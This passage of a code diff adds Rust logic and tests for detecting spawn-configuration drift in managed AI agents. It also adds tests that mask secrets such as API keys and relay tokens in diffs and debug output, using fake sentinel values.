+/// orphaned instance: `spawn_agent_child` refuses to spawn an orphan before
+/// any side effect, so "Restart required" would offer an action guaranteed to
+/// fail. The UI surfaces `persona_orphaned` instead.
+pub(crate) fn eligible_restart_diff(
+    persona_orphaned: bool,
+    tracked: Option<TrackedSpawnState<'_>>,
+) -> Vec<RestartDiffEntry> {
+    let Some(tracked) = tracked.filter(|_| !persona_orphaned) else {
+        return Vec::new();
+    };
+    let mut entries = diff(tracked.stamped, tracked.current);
+    if crate::managed_agents::availability_drift(
+        tracked.stamped_availability,
+        tracked.current_availability.clone(),
+    ) {
+        entries.push(RestartDiffEntry {
+            field: ADAPTER_AVAILABILITY_FIELD.to_string(),
+            change: RestartChange::Value {
+                before: availability_value(tracked.stamped_availability),
+                after: availability_value(tracked.current_availability.as_ref()),
+            },
+        });
+    }
+    entries
+}
+
+/// The canonical snapshot with every leaf passed through [`policy_for`],
+/// rendered as JSON text. Backs `SpawnConfigSnapshot`'s manual `Debug` so a
+/// log line can never disclose what the wire diff redacts.
+pub(crate) fn redacted_canonical(value: &Value) -> String {
+    fn redact(path: &str, value: &Value) -> Value {
+        match value {
+            Value::Object(fields) => Value::Object(
+                fields
+                    .iter()
+                    .map(|(key, child)| (key.clone(), redact(&child_path(path, key), child)))
+                    .collect(),
+            ),
+            leaf => match policy_for(path) {
+                MaskPolicy::Plain => leaf.clone(),
+                MaskPolicy::Text => char_count(leaf).map_or(Value::Null, |count| {
+                    Value::String(format!("<{count} chars>"))
+                }),
+                policy => masked(policy, leaf).map_or(Value::Null, Value::String),
+            },
+        }
+    }
+    redact("", value).to_string()
+}
+
+#[cfg(test)]
+mod tests;
diff --git a/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff/tests.rs b/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff/tests.rs
new file mode 100644
index 0000000000..a7a8cab93e
--- /dev/null
+++ b/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff/tests.rs
@@ -0,0 +1,572 @@
+use super::*;
+use std::collections::{BTreeMap, BTreeSet};
+
+const SECRET: &str = "sk-live-SENTINEL-0000";
+const RELAY_WITH_TOKEN: &str = "wss://relay.example/ws?token=SENTINEL";
+
+/// Every field populated, so mutating one to `None` is a real change and the
+/// coverage guard below sees the full serialized key set.
+fn base() -> SpawnConfigSnapshot {
+    SpawnConfigSnapshot {
+        acp_command: "buzz-acp".into(),
+        command: "goose".into(),
+        args: vec!["--mode".into(), "acp".into()],
+        mcp_command: "goose-mcp".into(),
+        env: BTreeMap::from([
+            ("OPENAI_API_KEY".to_string(), SECRET.to_string()),
+            ("BUZZ_LOG".to_string(), "info".to_string()),
+        ]),
+        relay_url: "wss://relay.example".into(),
+        team_instructions: Some("Team says hello.".into()),
+        system_prompt: Some("You are a test agent.".into()),
+        model: Some("gpt-5".into()),
+        provider: Some("openai".into()),
+        session_title: Some("Fizz".into()),
+        auth_tag: Some("tag-abcdefgh".into()),
+        respond_to: "owner-only".into(),
+        respond_to_allowlist: Some(vec!["a".repeat(64)]),
+        idle_timeout_seconds: Some(600),
+        max_turn_duration_seconds: Some(7200),
+        parallelism: 1,
+    }
+}
+
+fn fields(entries: &[RestartDiffEntry]) -> Vec<&str> {
+    entries.iter().map(|entry| entry.field.as_str()).collect()
+}
+
+fn change_at<'a>(entries: &'a [RestartDiffEntry], field: &str) -> &'a RestartChange {
+    &entries
+        .iter()
+        .find(|entry| entry.field == field)
+        .unwrap_or_else(|| panic!("no entry for {field}; got {:?}", fields(entries)))
+        .change
+}
+
+/// One mutation per snapshot field, keyed by the diff path it must produce.
+type Mutation = (&'static str, fn(&mut SpawnConfigSnapshot));
+
+fn mutations() -> Vec<Mutation> {
+    vec![
+        ("acp_command", |s| s.acp_command = "other-acp".into()),
+        ("command", |s| s.command = "claude".into()),
+        ("args", |s| s.args = vec!["--other".into()]),
+        ("mcp_command", |s| s.mcp_command = String::new()),
+        ("env.OPENAI_API_KEY", |s| {
+            s.env
+                .insert("OPENAI_API_KEY".into(), "sk-live-rotated-9999".into());
+        }),
+        ("relay_url", |s| s.relay_url = "wss://other.example".into()),
+        ("team_instructions", |s| s.team_instructions = None),
+        ("system_prompt", |s| s.system_prompt = None),
+        ("model", |s| s.model = None),
+        ("provider", |s| s.provider = None),
+        ("session_title", |s| s.session_title = None),
+        ("auth_tag", |s| s.auth_tag = None),
+        ("respond_to", |s| s.respond_to = "anyone".into()),
+        ("respond_to_allowlist", |s| s.respond_to_allowlist = None),
+        ("idle_timeout_seconds", |s| s.idle_timeout_seconds = None),
+        ("max_turn_duration_seconds", |s| {
+            s.max_turn_duration_seconds = None
+        }),
+        ("parallelism", |s| s.parallelism = 8),
+    ]
+}
+
+#[test]
+fn every_field_mutation_drifts_the_canonical_value_and_names_that_field() {
+    for (field, mutate) in mutations() {
+        let before = base();
+        let mut after = base();
+        mutate(&mut after);
+
+        assert_ne!(
+            before.canonical(),
+            after.canonical(),
+            "{field}: mutation must move the canonical value the badge compares"
+        );
+        assert_eq!(
+            fields(&diff(&before, &after)),
+            vec![field],
+            "{field}: mutation must produce exactly that field's entry"
+        );
+        // Both directions: `None -> Some` must be as visible as `Some -> None`.
+        assert_eq!(
+            fields(&diff(&after, &before)),
+            vec![field],
+            "{field}: reverse mutation must be equally visible"
+        );
+    }
+}
+
+#[test]
+fn mutation_table_covers_every_serialized_field() {
+    let covered: BTreeSet<&str> = mutations()
+        .iter()
+        .map(|(field, _)| field.split('.').next().expect("non-empty path"))
+        .collect();
+    let canonical = base().canonical();
+    let serialized: BTreeSet<&str> = canonical
+        .as_object()
+        .expect("snapshot serializes as an object")
+        .keys()
+        .map(String::as_str)
+        .collect();
+    assert_eq!(
+        covered, serialized,
+        "add a mutation row for every new snapshot field"
+    );
+}
+
+#[test]
+fn identical_snapshots_produce_no_entries() {
+    assert!(diff(&base(), &base()).is_empty());
+}
+
+#[test]
+fn env_map_insertion_order_is_not_drift() {
+    let mut reordered = base();
+    reordered.env = base().env.into_iter().rev().collect();
+    assert!(diff(&base(), &reordered).is_empty());
+}
+
+#[test]
+fn entries_are_ordered_lexicographically_by_path() {
+    let mut after = base();
+    after.parallelism = 4;
+    after.command = "claude".into();
+    after.env.insert("ZZZ".into(), "1".into());
+    after.env.insert("AAA".into(), "1".into());
+    assert_eq!(
+        fields(&diff(&base(), &after)),
+        vec!["command", "env.AAA", "env.ZZZ", "parallelism"]
+    );
+}
+
+// ── map membership vs. nullable struct fields ────────────────────────────
+
+#[test]
+fn env_key_insertion_is_added_without_a_payload() {
+    let mut after = base();
+    after.env.insert("NEW_KEY".into(), SECRET.into());
+    assert_eq!(
+        change_at(&diff(&base(), &after), "env.NEW_KEY"),
+        &RestartChange::Added
+    );
+}
+
+#[test]
+fn env_key_removal_is_removed_without_a_payload() {
+    let mut after = base();
+    after.env.remove("BUZZ_LOG");
+    assert_eq!(
+        change_at(&diff(&base(), &after), "env.BUZZ_LOG"),
+        &RestartChange::Removed
+    );
+}
+
+#[test]
+fn cleared_nullable_field_stays_a_value_change_not_a_removal() {
+    let mut after = base();
+    after.model = None;
+    assert_eq!(
+        change_at(&diff(&base(), &after), "model"),
+        &RestartChange::Value {
+            before: Value::String("gpt-5".into()),
+            after: Value::Null,
+        }
+    );
+}
+
+#[test]
+fn array_field_changes_as_one_atomic_leaf() {
+    let mut after = base();
+    after.respond_to_allowlist = Some(vec!["b".repeat(64)]);
+    let entries = diff(&base(), &after);
+    assert_eq!(fields(&entries), vec!["respond_to_allowlist"]);
+    assert!(matches!(
+        change_at(&entries, "respond_to_allowlist"),
+        RestartChange::Value { .. }
+    ));
+}
+
+#[test]
+fn allowlisted_env_key_shows_plain_value() {
+    // BUZZ_AGENT_THINKING_EFFORT is on the safe-to-reveal allowlist — the user
+    // must be able to see actual enum values like "medium → high".
+    let mut before = base();
+    before
+        .env
+        .insert("BUZZ_AGENT_THINKING_EFFORT".into(), "medium".into());
+    let mut after = before.clone();
+    after
+        .env
+        .insert("BUZZ_AGENT_THINKING_EFFORT".into(), "high".into());
+    assert_eq!(
+        change_at(&diff(&before, &after), "env.BUZZ_AGENT_THINKING_EFFORT"),
+        &RestartChange::Value {
+            before: Value::String("medium".into()),
+            after: Value::String("high".into()),
+        },
+        "allowlisted env key must render plain before/after values"
+    );
+}
+
+#[test]
+fn allowlisted_env_key_is_case_insensitive() {
+    // The allowlist comparison is case-insensitive; lowercase path must also
+    // render plain.
+    let mut before = base();
+    before
+        .env
+        .insert("buzz_agent_provider".into(), "anthropic".into());
+    let mut after = before.clone();
+    after
+        .env
+        .insert("buzz_agent_provider".into(), "openai".into());
+    assert_eq!(
+        change_at(&diff(&before, &after), "env.buzz_agent_provider"),
+        &RestartChange::Value {
+            before: Value::String("anthropic".into()),
+            after: Value::String("openai".into()),
+        },
+        "allowlist match must be case-insensitive"
+    );
+}
+
+#[test]
+fn non_allowlisted_env_key_stays_masked() {
+    // A key not in the allowlist must remain masked regardless of its name.
+    let mut after = base();
+    after
+        .env
+        .insert("SOME_API_KEY".into(), "sk-live-rotated-9999".into());
+    // SOME_API_KEY is a new key — starts as Added, not a value change.
+    // Use an existing env key (OPENAI_API_KEY is in base()) to test masking.
+    let mut before = base();
+    before
+        .env
+        .insert("OPENAI_API_KEY".into(), "sk-live-SENTINEL-0000".into());
+    let mut after2 = before.clone();
+    after2
+        .env
+        .insert("OPENAI_API_KEY".into(), "sk-live-rotated-9999".into());
+    assert!(
+        matches!(
+            change_at(&diff(&before, &after2), "env.OPENAI_API_KEY"),
+            RestartChange::Masked { .. }
+        ),
+        "non-allowlisted env key must stay masked"
+    );
+}
+
+// ── masking policy ───────────────────────────────────────────────────────
+
+#[test]
+fn env_value_longer_than_eight_chars_shows_a_four_char_suffix() {
+    let mut after = base();
+    after
+        .env
+        .insert("OPENAI_API_KEY".into(), "abcdefghi".into());
+    assert_eq!(
+        change_at(&diff(&base(), &after), "env.OPENAI_API_KEY"),
+        &RestartChange::Masked {
+            before: Some("••••0000".into()),
+            after: Some("••••fghi".into()),
+        }
+    );
+}
+
+#[test]
+fn env_value_of_exactly_eight_chars_shows_no_suffix() {
+    let mut before = base();
+    before
+        .env
+        .insert("OPENAI_API_KEY".into(), "abcdefgh".into());
+    let mut after = before.clone();
+    after.env.insert("OPENAI_API_KEY".into(), "12345678".into());
+    assert_eq!(
+        change_at(&diff(&before, &after), "env.OPENAI_API_KEY"),
+        &RestartChange::Masked {
+            before: Some("••••".into()),
+            after: Some("••••".into()),
+        }
+    );
+}
+
+#[test]
+fn masking_counts_characters_not_bytes() {
+    // Nine two-byte characters: a byte-based length test would call this
+    // short, and byte slicing the last four would split a code point.
+    let mut before = base();
+    before.env.insert("K".into(), "áéíóúàèìò".into());
+    let mut after = before.clone();
+    after.env.insert("K".into(), "áéíóúàèìá".into());
+    assert_eq!(
+        change_at(&diff(&before, &after), "env.K"),
+        &RestartChange::Masked {
+            before: Some("••••àèìò".into()),
+            after: Some("••••àèìá".into()),
+        }
+    );
+}
+
+#[test]
+fn args_are_masked_without_any_suffix() {
+    let mut after = base();
+    after.args = vec![format!("--token={SECRET}")];
+    assert_eq!(
+        change_at(&diff(&base(), &after), "args"),
+        &RestartChange::Masked {
+            before: Some("••••".into()),
+            after: Some("••••".into()),
+        }
+    );
+}
+
+#[test]
+fn relay_url_is_masked_without_any_suffix() {
+    let mut after = base();
+    after.relay_url = RELAY_WITH_TOKEN.into();
+    assert_eq!(
+        change_at(&diff(&base(), &after), "relay_url"),
+        &RestartChange::Masked {
+            before: Some("••••".into()),
+            after: Some("••••".into()),
+        }
+    );
+}
+
+#[test]
+fn auth_tag_is_masked_with_a_suffix() {
+    let mut after = base();
+    after.auth_tag = Some("tag-ijklmnop".into());
+    assert_eq!(
+        change_at(&diff(&base(), &after), "auth_tag"),
+        &RestartChange::Masked {
+            before: Some("••••efgh".into()),
+            after: Some("••••mnop".into()),
+        }
+    );
+}
+
+#[test]
+fn large_text_fields_report_character_counts_only() {
+    let mut after = base();
+    after.system_prompt = Some("Longer replacement prompt.".into());
+    after.team_instructions = None;
+    let entries = diff(&base(), &after);
+    assert_eq!(
+        change_at(&entries, "system_prompt"),
+        &RestartChange::Text {
+            before_chars: Some("You are a test agent.".chars().count()),
+            after_chars: Some("Longer replacement prompt.".chars().count()),
+        }
+    );
+    assert_eq!(
+        change_at(&entries, "team_instructions"),
+        &RestartChange::Text {
+            before_chars: Some("Team says hello.".chars().count()),
+            after_chars: None,
+        }
+    );
+}
+
+// ── secrecy sentinels ────────────────────────────────────────────────────
+
+/// A snapshot whose every secret-bearing leaf carries a sentinel.
+fn seeded_with_sentinels() -> SpawnConfigSnapshot {
+    let mut snapshot = base();
+    snapshot.relay_url = RELAY_WITH_TOKEN.into();
+    snapshot.args = vec![format!("--token={SECRET}")];
+    snapshot.auth_tag = Some(SECRET.into());
+    snapshot.env.insert("OPENAI_API_KEY".into(), SECRET.into());
+    snapshot
+}
+
+/// Every sentinel-bearing leaf changed, plus an added key, so each masking
+/// arm has to redact a real value.
+fn rotated_sentinels() -> SpawnConfigSnapshot {
+    let mut snapshot = seeded_with_sentinels();
+    snapshot.relay_url = format!("{RELAY_WITH_TOKEN}2");
+    snapshot.args = vec![format!("--token={SECRET}2")];
+    snapshot.auth_tag = Some(format!("{SECRET}2"));
+    snapshot
+        .env
+        .insert("OPENAI_API_KEY".into(), format!("{SECRET}2"));
+    snapshot.env.insert("ADDED".into(), SECRET.into());
+    snapshot
+}
+
+#[test]
+fn no_sentinel_reaches_the_serialized_diff() {
+    let entries = diff(&seeded_with_sentinels(), &rotated_sentinels());
+    assert!(!entries.is_empty(), "fixture must actually drift");
+    let wire = serde_json::to_string(&entries).expect("diff serializes");
+    assert!(!wire.contains("SENTINEL"), "diff leaked a secret: {wire}");
+    assert!(
+        !wire.contains("token="),
+        "diff leaked a query token: {wire}"
+    );
+}
+
+#[test]
+fn no_sentinel_reaches_snapshot_debug_output() {
+    let rendered = format!("{:?}", seeded_with_sentinels());
+    assert!(!rendered.contains("SENTINEL"), "Debug leaked: {rendered}");
+    assert!(!rendered.contains("token="), "Debug leaked: {rendered}");
+    // Large text is summarized rather than dumped.
+    assert!(!rendered.contains("You are a test agent."));
+    // Non-secret leaves stay legible, or the log line is useless.
+    assert!(rendered.contains("goose"));
+}
+
+#[test]
+fn no_sentinel_reaches_the_owning_process_debug_output() {
+    // `ManagedAgentProcess` derives `Debug` and delegates to the snapshot's
+    // manual impl — this pins that the derive can never become the leak path.
+    #[cfg(unix)]
+    let program = "/usr/bin/true";
+    #[cfg(windows)]
+    let program = "true";
+    let child = std::process::Command::new(program)
+        .stdin(std::process::Stdio::null())
+        .stdout(std::process::Stdio::null())
+        .stderr(std::process::Stdio::null())
+        .spawn()
+        .expect("spawn placeholder child");
+    let process = crate::managed_agents::ManagedAgentProcess {
+        child,
+        log_path: std::path::PathBuf::new(),
+        spawn_config: seeded_with_sentinels(),
+        setup_mode: false,
+        adapter_availability: None,
+        start_nonce: "test-nonce".to_string(),
+        #[cfg(windows)]
+        job: None,
+    };
+    let rendered = format!("{process:?}");
+    assert!(
+        !rendered.contains("SENTINEL"),
+        "process Debug leaked a secret"
+    );
+    assert!(
+        !rendered.contains("token="),
+        "process Debug leaked a query token"
+    );
+}
+
+// ── B1: the eligible vector is the single source of the badge ────────────
+
+fn eligible(
+    orphaned: bool,
+    stamped: &SpawnConfigSnapshot,
+    current: &SpawnConfigSnapshot,
+    stamped_availability: Option<AcpAvailabilityStatus>,
+    current_availability: Option<AcpAvailabilityStatus>,
+) -> (bool, Vec<RestartDiffEntry>) {
+    let entries = eligible_restart_diff(
+        orphaned,
+        Some(TrackedSpawnState {
+            stamped,
+            current,
+            stamped_availability: stamped_availability.as_ref(),
+            current_availability,
+        }),
+    );
+    (!entries.is_empty(), entries)
+}
+
+#[test]
+fn no_drift_yields_no_badge_and_no_entries() {
+    let (needs_restart, entries) = eligible(false, &base(), &base(), None, None);
+    assert!(!needs_restart);
+    assert!(entries.is_empty());
+}
+
+#[test]
+fn snapshot_drift_yields_a_badge_and_that_entry() {
+    let mut current = base();
+    current.model = Some("claude-4".into());
+    let (needs_restart, entries) = eligible(false, &base(), &current, None, None);
+    assert!(needs_restart);
+    assert_eq!(fields(&entries), vec!["model"]);
+}
+
+#[test]
+fn availability_drift_alone_yields_a_badge_and_its_synthetic_entry() {
+    let (needs_restart, entries) = eligible(
+        false,
+        &base(),
+        &base(),
+        Some(AcpAvailabilityStatus::Available),
+        Some(AcpAvailabilityStatus::AdapterOutdated),
+    );
+    assert!(needs_restart);
+    assert_eq!(fields(&entries), vec!["adapter_availability"]);
+    assert_eq!(
+        change_at(&entries, "adapter_availability"),
+        &RestartChange::Value {
+            before: Value::String("available".into()),
+            after: Value::String("adapter_outdated".into()),
+        }
+    );
+}
+
+#[test]
+fn orphan_with_snapshot_drift_yields_no_badge_and_no_entries() {
+    let mut current = base();
+    current.model = Some("claude-4".into());
+    let (needs_restart, entries) = eligible(true, &base(), &current, None, None);
+    assert!(!needs_restart);
+    assert!(entries.is_empty());
+}
+
+#[test]
+fn orphan_with_availability_drift_yields_no_badge_and_no_entries() {
+    let (needs_restart, entries) = eligible(
+        true,
+        &base(),
+        &base(),
+        Some(AcpAvailabilityStatus::Available),
+        Some(AcpAvailabilityStatus::AdapterOutdated),
+    );
+    assert!(!needs_restart);
+    assert!(entries.is_empty());
+}
+
+#[test]
+fn unstamped_availability_is_not_drift() {
+    // A runtime without a version gate stamps no availability; comparing that
+    // absence against a freshly cached value must not invent a badge.
+    let (needs_restart, entries) = eligible(
+        false,
+        &base(),
+        &base(),
+        None,
+        Some(AcpAvailabilityStatus::AdapterOutdated),
+    );
+    assert!(!needs_restart);
+    assert!(entries.is_empty());
+}
+
+#[test]
+fn unstamped_agent_yields_no_badge_and_no_entries() {
+    // A `runtime_pid`-adopted process — and any agent this workspace tracks no
+    // live pair for — has no `ManagedAgentProcess`, so no spawn config was ever
+    // stamped. With nothing to compare against there is no drift to report, and
+    // the badge derives from that emptiness. Distinct from the case above,
+    // where a real pair IS tracked and only its availability stamp is absent.
+    for orphaned in [false, true] {
+        let entries = eligible_restart_diff(orphaned, None);
+        let needs_restart = !entries.is_empty();
+        assert!(
+            entries.is_empty(),
+            "unstamped agent (orphaned={orphaned}) must report no changed fields"
+        );
+        assert!(
+            !needs_restart,
+            "unstamped agent (orphaned={orphaned}) must not light the badge"
+        );
+    }
+}
diff --git a/desktop/src-tauri/src/managed_agents/spawn_hash/tests.rs b/desktop/src-tauri/src/managed_agents/spawn_snapshot/tests.rs
similarity index 63%
rename from desktop/src-tauri/src/managed_agents/spawn_hash/tests.rs
rename to desktop/src-tauri/src/managed_agents/spawn_snapshot/tests.rs
index f4ad404814..1ceeee372f 100644
--- a/desktop/src-tauri/src/managed_agents/spawn_hash/tests.rs
+++ b/desktop/src-tauri/src/managed_agents/spawn_snapshot/tests.rs
@@ -2,6 +2,19 @@ use super::*;
 use crate::managed_agents::types::RespondTo;
 use std::collections::BTreeMap;
 
+/// Canonical projection of a prospective snapshot — the exact value the drift
+/// comparison reads, so these tests assert on drift itself rather than on a
+/// proxy for it.
+fn snapshot(
+    record: &ManagedAgentRecord,
+    personas: &[AgentDefinition],
+    teams: &[TeamRecord],
+    workspace_relay: &str,
+    global: &GlobalAgentConfig,
+) -> serde_json::Value {
+    prospective_spawn_config_snapshot(record, personas, teams, workspace_relay, global).canonical()
+}
+
 fn record() -> ManagedAgentRecord {
     ManagedAgentRecord {
         pubkey: "p".repeat(64),
@@ -86,22 +99,22 @@ fn persona(id: &str, runtime: Option<&str>, prompt: &str) -> AgentDefinition {
 }
 
 #[test]
-fn hash_is_deterministic() {
+fn snapshot_is_deterministic() {
     let rec = record();
     assert_eq!(
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default())
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default())
     );
 }
 
 #[test]
-fn materializing_runtime_keeps_hash_stable() {
+fn materializing_runtime_keeps_snapshot_stable() {
     // Migration cutover invariant (Phase 1A): materializing the linked
-    // persona's runtime onto the record must NOT change the spawn hash —
+    // persona's runtime onto the record must NOT change the spawn snapshot —
     // otherwise every running persona-linked agent would show a spurious
     // restart badge right after migration. Pre-migration the command resolves
     // through the persona fallback; post-migration through record.runtime.
-    // Same persona, same runtime, same command → same hash.
+    // Same persona, same runtime, same command → equal snapshots.
     let personas = vec![persona("p1", Some("goose"), "Persona prompt.")];
 
     let mut pre = record();
@@ -111,14 +124,14 @@ fn materializing_runtime_keeps_hash_stable() {
     post.runtime = Some("goose".into());
 
     assert_eq!(
-        spawn_config_hash(
+        snapshot(
             &pre,
             &personas,
             &[],
             "wss://ws.example",
             &Default::default()
         ),
-        spawn_config_hash(
+        snapshot(
             &post,
             &personas,
             &[],
@@ -129,31 +142,31 @@ fn materializing_runtime_keeps_hash_stable() {
 }
 
 #[test]
-fn record_env_var_edit_changes_hash() {
+fn record_env_var_edit_changes_snapshot() {
     let rec = record();
     let mut edited = record();
     edited
         .env_vars
         .insert("SOME_KEY".into(), "some-value".into());
     assert_ne!(
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default())
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&edited, &[], &[], "wss://ws.example", &Default::default())
     );
 }
 
 #[test]
-fn record_prompt_edit_changes_hash() {
+fn record_prompt_edit_changes_snapshot() {
     let rec = record();
     let mut edited = record();
     edited.system_prompt = Some("Edited prompt.".into());
     assert_ne!(
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default())
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&edited, &[], &[], "wss://ws.example", &Default::default())
     );
 }
 
 #[test]
-fn persona_runtime_edit_changes_hash() {
+fn persona_runtime_edit_changes_snapshot() {
     // The harness command resolves live personas at spawn, so a persona
     // runtime change means a restart WOULD change what runs → badge trips.
     let mut rec = record();
@@ -161,13 +174,13 @@ fn persona_runtime_edit_changes_hash() {
     let before = [persona("pers", Some("goose"), "prompt")];
     let after = [persona("pers", Some("claude"), "prompt")];
     assert_ne!(
-        spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default())
+        snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()),
+        snapshot(&rec, &after, &[], "wss://ws.example", &Default::default())
     );
 }
 
 #[test]
-fn persona_prompt_edit_changes_hash() {
+fn persona_prompt_edit_changes_snapshot() {
     // Start/restore re-snapshot the persona prompt onto the record right
     // before spawning, so a persona prompt edit DOES apply on a plain
     // restart → the badge must trip.
@@ -176,13 +189,13 @@ fn persona_prompt_edit_changes_hash() {
     let before = [persona("pers", Some("goose"), "old prompt")];
     let after = [persona("pers", Some("goose"), "new prompt")];
     assert_ne!(
-        spawn_config_hash(&rec, &before, &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&rec, &after, &[], "wss://ws.example", &Default::default())
+        snapshot(&rec, &before, &[], "wss://ws.example", &Default::default()),
+        snapshot(&rec, &after, &[], "wss://ws.example", &Default::default())
     );
 }
 
 #[test]
-fn workspace_relay_change_trips_hash_even_for_stored_record_relay() {
+fn workspace_relay_change_trips_snapshot_even_for_stored_record_relay() {
     // The legacy per-record relay pin is ignored (#2122): every record spawns
     // against the active workspace relay, so a workspace relay change means a
     // restart would change what runs — pinned records included.
@@ -192,13 +205,13 @@ fn workspace_relay_change_trips_hash_even_for_stored_record_relay() {
         "fixture should carry a legacy pin"
     );
     assert_ne!(
-        spawn_config_hash(&rec, &[], &[], "wss://relay-a.example", &Default::default()),
-        spawn_config_hash(&rec, &[], &[], "wss://relay-b.example", &Default::default())
+        snapshot(&rec, &[], &[], "wss://relay-a.example", &Default::default()),
+        snapshot(&rec, &[], &[], "wss://relay-b.example", &Default::default())
     );
 }
 
 #[test]
-fn stored_record_relay_does_not_affect_hash() {
+fn stored_record_relay_does_not_affect_snapshot() {
     // Editing the (ignored) stored pin must not badge a restart: what a
     // restart would run is identical either way.
     let mut a = record();
@@ -206,20 +219,20 @@ fn stored_record_relay_does_not_affect_hash() {
     a.relay_url = String::new();
     b.relay_url = "wss://legacy-pin.example".into();
     assert_eq!(
-        spawn_config_hash(&a, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&b, &[], &[], "wss://ws.example", &Default::default())
+        snapshot(&a, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&b, &[], &[], "wss://ws.example", &Default::default())
     );
 }
 
 #[test]
-fn respond_to_allowlist_edit_changes_hash() {
+fn respond_to_allowlist_edit_changes_snapshot() {
     let rec = record();
     let mut edited = record();
     edited.respond_to = RespondTo::Allowlist;
     edited.respond_to_allowlist = vec!["a".repeat(64)];
     assert_ne!(
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default())
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&edited, &[], &[], "wss://ws.example", &Default::default())
     );
 }
 
@@ -231,13 +244,13 @@ fn allowlist_ignored_when_mode_is_not_allowlist() {
     let mut edited = record();
     edited.respond_to_allowlist = vec!["a".repeat(64)];
     assert_eq!(
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default())
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&edited, &[], &[], "wss://ws.example", &Default::default())
     );
 }
 
 #[test]
-fn allowlist_normalization_equivalent_edits_do_not_change_hash() {
+fn allowlist_normalization_equivalent_edits_do_not_change_snapshot() {
     // The env receives the normalized list (trim/lowercase/dedup), so edits
     // that normalize to the same value must not badge.
     let mut rec = record();
@@ -249,48 +262,48 @@ fn allowlist_normalization_equivalent_edits_do_not_change_hash() {
         "a".repeat(64),                  // duplicate
     ];
     assert_eq!(
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default())
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&edited, &[], &[], "wss://ws.example", &Default::default())
     );
 }
 
 #[test]
-fn allowlist_content_edit_still_changes_hash() {
+fn allowlist_content_edit_still_changes_snapshot() {
     let mut rec = record();
     rec.respond_to = RespondTo::Allowlist;
     rec.respond_to_allowlist = vec!["a".repeat(64)];
     let mut edited = rec.clone();
     edited.respond_to_allowlist = vec!["b".repeat(64)];
     assert_ne!(
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default())
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&edited, &[], &[], "wss://ws.example", &Default::default())
     );
 }
 
 #[test]
-fn explicit_max_turn_duration_changes_hash_from_none() {
+fn explicit_max_turn_duration_changes_snapshot_from_none() {
     let rec = record();
     let mut edited = record();
     edited.max_turn_duration_seconds = Some(7200);
     assert_ne!(
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default())
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&edited, &[], &[], "wss://ws.example", &Default::default())
     );
 }
 
 #[test]
-fn non_default_max_turn_duration_changes_hash() {
+fn non_default_max_turn_duration_changes_snapshot() {
     let rec = record();
     let mut edited = record();
     edited.max_turn_duration_seconds = Some(42);
     assert_ne!(
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default())
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&edited, &[], &[], "wss://ws.example", &Default::default())
     );
 }
 
 #[test]
-fn non_spawn_bookkeeping_fields_do_not_change_hash() {
+fn non_spawn_bookkeeping_fields_do_not_change_snapshot() {
     // updated_at / runtime_pid / last_* are lifecycle bookkeeping, not spawn
     // inputs — routine record saves must not trip the badge.
     let rec = record();
@@ -300,17 +313,17 @@ fn non_spawn_bookkeeping_fields_do_not_change_hash() {
     edited.last_started_at = Some("later".into());
     edited.last_exit_code = Some(0);
     assert_eq!(
-        spawn_config_hash(&rec, &[], &[], "wss://ws.example", &Default::default()),
-        spawn_config_hash(&edited, &[], &[], "wss://ws.example", &Default::default())
+        snapshot(&rec, &[], &[], "wss://ws.example", &Default::default()),
+        snapshot(&edited, &[], &[], "wss://ws.example", &Default::default())
     );
 }
 
 #[test]
 fn resnapshot_does_not_clobber_record_quad_with_definition_absent_quad() {
-    // B5 hash row 3: the prospective re-snapshot copies ONLY
+    // B5 drift row 3: the prospective re-snapshot copies ONLY
     // prompt/model/provider/env from the linked definition. An instance
     // whose owner hand-set respond_to/allowlist/parallelism must
-    // hash identically whether or not its definition carries a quad —
+    // snapshot identically whether or not its definition carries a quad —
     // activation of the definition-level defaults must never reach through
     // spawn and overwrite instance state.
     let quadless_definition = vec![persona("p1", Some("goose"), "Persona prompt.")];
@@ -326,44 +339,44 @@ fn resnapshot_does_not_clobber_record_quad_with_definition_absent_quad() {
     definition_with_quad[0].parallelism = Some(8);
 
     assert_eq!(
-        spawn_config_hash(
+        snapshot(
             &rec,
             &quadless_definition,
